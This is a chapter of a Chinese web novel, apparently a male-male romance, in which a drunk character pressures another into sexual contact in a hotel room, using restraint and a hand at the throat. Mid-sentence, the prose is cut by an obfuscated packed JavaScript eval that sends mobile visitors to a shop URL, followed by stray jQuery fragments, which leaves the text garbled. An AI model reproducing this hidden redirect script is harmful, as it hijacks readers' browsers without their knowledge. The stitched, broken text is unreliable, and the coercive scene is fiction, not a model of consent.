21.开房

作品:《别为死对头动心

    从酒吧出来,闫芮醒漫无目的跟在闻萧眠身后。路过街道、商店、十字路口,然后转身,走进一家成人用品店。


    二十四小时自助服务,闻萧眠打开所有柜门,像个疯狂采购者,不关注产品类型,不在意使用方法,通通塞进黑色塑料袋。


    闫芮醒没阻止也没搭理,只当他喝多了脑子抽风,又干了点非正常人类行为。


    从成人用品店到酒店套房,从办理入住到上楼刷卡,总共不到十五分钟。


    闻萧眠进了浴室,闫芮醒摆弄新的监测仪,是手术设备的配套仪器。术前监测指征,有利于手术顺利进行。


    浴室里的水声停止,闻萧眠走出来,他只在腰间缠了条浴巾,带着潮湿水汽仰靠在沙发里。


    闻萧眠用遥控器关掉客厅的灯,昏暗环境下,只剩电视机在闪烁。


    闫芮醒适当犹豫,还是走了过去。他用捂热的酒精片给闻萧眠皮肤消毒,把圆形电极贴在他太阳穴,并转动开关。


    该仪器不仅能监测脑电波数据,还能在一定程度上缓解阵痛。虽然此时的闻萧眠什么都没说,闫芮醒知道,他绝对不会好受。


    男人醉红脸让闫芮醒憋着股闷气,但喝了酒的眼睛总有种独特的风景,炽热的、模糊的,却又直白的。


    彼此无言,相互对视。


    闫芮醒有晴空一样干净的眼睛,闻萧眠目不转睛,用呼吸填补彼此间的缝隙。


    直到电视传来奇特声音,闫芮醒惊厥转头,才意识到播的是什么。


    两个衣衫不整的男人,一个坐在另一个人身上,发出一声声急促喘息。


    闫芮醒并未诧异太久,他转回来确认时间,帮忙按压电极片:“如果不舒服了,跟我……!”


    手腕和腰同时被控制,闫芮醒站立不稳,横跨着,跌坐到闻萧眠腿上。


    “你想干什么?”闫芮醒撑着沙发,尽量避免肢体接触,“放开。”


    “开房啊!你不是答应了吗。”闻萧眠说着恶劣的话,又将透明瓶子递给他,“你自己来,还是我帮你?”


    人类的忍耐与接纳,本就是一场服从性测试。相识多年,闻萧眠的尖锐出格、顽劣过分,对闫芮醒来说早就习以为常。


    他面不改色接走瓶子,摆到旁边,继续帮闻萧眠按电极片。


    可闻萧眠的目的绝不仅仅如此,今天是他自己要来的,他本可以拒绝,可以离开,但却选了过来。


    不拒绝,相当于默许。


    闻萧眠取回润.滑,透明质地挤满了中指和无名指,他再抬头,目光注视着闫芮醒。


    恶意满满的暗示,闻萧眠没隐藏心思,要么把人吓走,要么就留到天明。


    闫芮醒并未退缩,挂着张面无表情的脸,还能贴心帮他擦干净手指。


    可他越是这样,闻萧眠的心就越贪婪,这只手不该只擦拭这里,还可以触碰更多地方。


    闻萧眠反握住闫芮醒的手腕,带着没擦净的手,往自己身上按。


    闫芮醒挣扎着,将手攥成拳,压在他小腹:“够了闻萧眠,你到底想干什么?”


    被他触碰的区域仿在燃烧,闻萧眠的小腹隐隐作痛,欲.望真实又可耻。


    电视机里的声音扑到耳边,激烈露骨的动静,在昏暗房间里蒸发燃烧。


    像是某种情.欲的催化剂,各种各样的思维、行为、想法充斥着大脑,闻萧眠的头痛暂缓,但酒精仍让他发晕,他不想理智,只想付出行动。


    闻萧眠用力一拽,扯掉了闫芮醒领口的纽扣,再拨开他的衣领。


    显然,这种行为是闫芮醒的禁忌,冰块似的人终


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333917|198978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    于给出了激烈反应,他捂住领口,试图从闻萧眠身边逃离。


    可他挣不过喝了酒的“野兽”,反应过来时,已经被强行抱进了沙发。


    闻萧眠用膝盖压他腿,手掌掐住他脖子威胁:“你躲什么?”


    闻萧眠的力度很轻,与其说掐,实际更像是触摸。拇指在他动脉轻柔划蹭,感受皮肤的升温,还有喉结在他掌心颤抖。


    漆黑环境里,闻萧眠想看到他明媚的目光,想看他弯着嘴角只对自己笑。可闫芮醒的瞳孔深不见底,嫉妒在黑夜里肆意疯长。


    闫芮醒视线模糊,下一刻,闻萧眠抬起他的下巴,俯身含住了白色前颈。


    湿滑舌尖如同鱼尾,黏着润.滑剂般的唾液,在闫芮醒喉结处摆动。


    闫芮醒仿佛失去了力气,轻轻发出哼声,挤在闻萧眠怀里,软成了空心纸管。


    直到皮肤上传来牙齿的触感,闫芮醒慌忙推他,颤抖着求饶的语调:“不行,别咬……现在、不能咬了。”


    闻萧眠脑海浮现被他亲手撕碎的诊断报告,他免疫力低下,白细胞偏低,他不仅不能感冒,伤口愈合速度也远慢于常人。


    他并不健康,瓷娃娃般的脆弱。


    舌头从皮肤移开,闻萧眠看到梦寐以求的西瓜瓤色,喉结处,泛着一小片透明的光,是他舌尖留下来的津液。


    心情舒畅的画面,却被现实割断。


    闻萧眠偷攥着塑料扣,用领带夹代替纽扣,帮他别在领口:“走,只给你三分钟。”


    可闫芮醒没动,用手背遮着眼睛,最敏感的脖子还袒在他面前:“你到底怎么了?”


    耳后播放着限制影片的声音,闻萧眠拽走闫芮醒的手,看他的眼睛,胸口翻腾滚烫的水泡。


    “不如你告诉我,我到底怎么了。”